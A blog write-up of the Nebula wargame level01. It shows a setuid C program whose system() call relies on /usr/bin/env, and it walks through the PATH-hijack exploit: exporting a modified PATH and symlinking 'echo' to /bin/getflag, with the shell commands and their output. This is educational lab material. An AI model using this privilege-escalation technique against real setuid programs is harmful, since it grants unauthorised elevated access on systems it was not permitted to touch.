Nebula_level01

http://www.kroosec.com/2012/10/nebula-level01.html

In
level01 of Nebula wargame, we are required to find a vulnerability that allows us to run arbitrary programs. The source code of flag01 is provided:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int
argc, char
**argv, char
**envp)
{
gid_t gid;
uid_t uid;
gid =
getegid();
uid =
geteuid();

setresgid(gid,
gid, gid);
setresuid(uid,
uid, uid);

system("/usr/bin/env echo and now what?");
}

The system() library call executes echo "and now what?"
level01@nebula:~$ ../flag01/flag01

and now what?
but instead of directly running /bin/echo, it uses /usr/bin/env to find the location of echo. Ever came across scripts starting with
#!/usr/bin/env python ? This is used for portability issues, as fixing a path (such as /usr/bin/python) wouldn't work when the Python interpreter is installed in a different location. How does env look for the specified program ? it simply
searches in the directories specified in the
PATH
environment variable starting from the the first directory, and going through the directories in $PATH until it finds the looked-for program.
level01@nebula:~$ echo $PATH

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games 
How to attack this program ? We will prepend to $PATH a directory in which we will add a symbolic link echo pointing to /bin/getflag.

First we prepend /home/level01 to $PATH
level01@nebula:~$ export PATH=/home/level01/:$PATH
level01@nebula:~$ echo $PATH
/home/level01/:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
Now we create a symbolic link /home/level01/echo to /bin/getflag
level01@nebula:~$ ln -s /bin/getflag echo
level01@nebula:~$ ls -l echo

lrwxrwxrwx 1 level01 level01 12 2012-10-28 12:32 echo -> /bin/getflag
Now flag01 will run our own /home/level01/echo that is simply a symbolic link to /bin/getflag.
level01@nebula:~$ ../flag01/flag01

You have successfully executed getflag on a target account

Posted
28th October 2012 by
Hani Benhabiles